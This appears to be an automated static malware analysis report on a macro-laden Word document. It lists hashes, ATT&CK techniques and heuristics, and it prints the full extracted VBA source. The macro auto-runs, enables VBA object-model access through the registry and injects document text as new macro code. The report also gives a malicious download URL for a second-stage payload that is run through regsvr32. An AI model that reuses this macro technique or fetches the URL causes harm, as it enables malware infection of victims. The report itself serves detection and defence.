Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b7cd72f9b3c80917…

MALICIOUS

Office (OOXML)

42.5 KB Created: 2021-06-07 10:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: ff07aacb35d338d26be43d1a52d9b2b2 SHA-1: 1d56e2ea22384c27a0a8f20053a9308b80520960 SHA-256: b7cd72f9b3c80917833385f7a0da98907d100c930d46b624d7c081d4a342b09f
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen function that executes a download subroutine. This subroutine downloads a file from the URL http://quitfitzgeraldd.com/adda/59430/jbyrpAbzDpKY/73249/coc9?ref=ZteMBK&cid=Gv&q=OdDl&Kh62xe=Md2fnv4LVB8&gC=HGkaDADuTbm and saves it as c:\programdata\databaseReference.jpg. The execute subroutine then uses Shell() to run regsvr32 on the downloaded file, indicating an attempt to execute a second-stage payload. The script also modifies the registry to enable access to the VBA object model.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub screenLeft()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & arrTextboxException & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub exceptionDelete(listboxLenRemove)
Set captionMemoryMemory = CreateObject("word.application")
With captionMemoryMemory.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "WRemoveList"
Sub autoopen()
screenLeft
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://quitfitzgeraldd.com/adda/59430/jbyrpAbzDpKY/73249/coc9?ref=ZteMBK&cid=Gv&q=OdDl&Kh62xe=Md2fnv4LVB8&gC=HGkaDADuTbm In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1131 bytes
SHA-256: 3188f823be37bc22e43e5a16869a91274f31937e063aa156920da0bafb79d045
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WRemoveList"
Sub autoopen()
screenLeft
listboxLenRemove = ActiveDocument.Range.Text
listboxLenRemove = Mid(listboxLenRemove, 2, Len(listboxLenRemove))
exceptionDelete listboxLenRemove
End Sub
Sub exceptionDelete(listboxLenRemove)
Set captionMemoryMemory = CreateObject("word.application")
With captionMemoryMemory.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString listboxLenRemove
End With
captionMemoryMemory.Visible = False
captionMemoryMemory.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function arrTextboxException()
arrTextboxException = Application.Version
End Function
Sub screenLeft()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & arrTextboxException & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 41a1a67294b9e729ddb7b9022deede1433c0f6e815125fe4ecd46ab195b6983c

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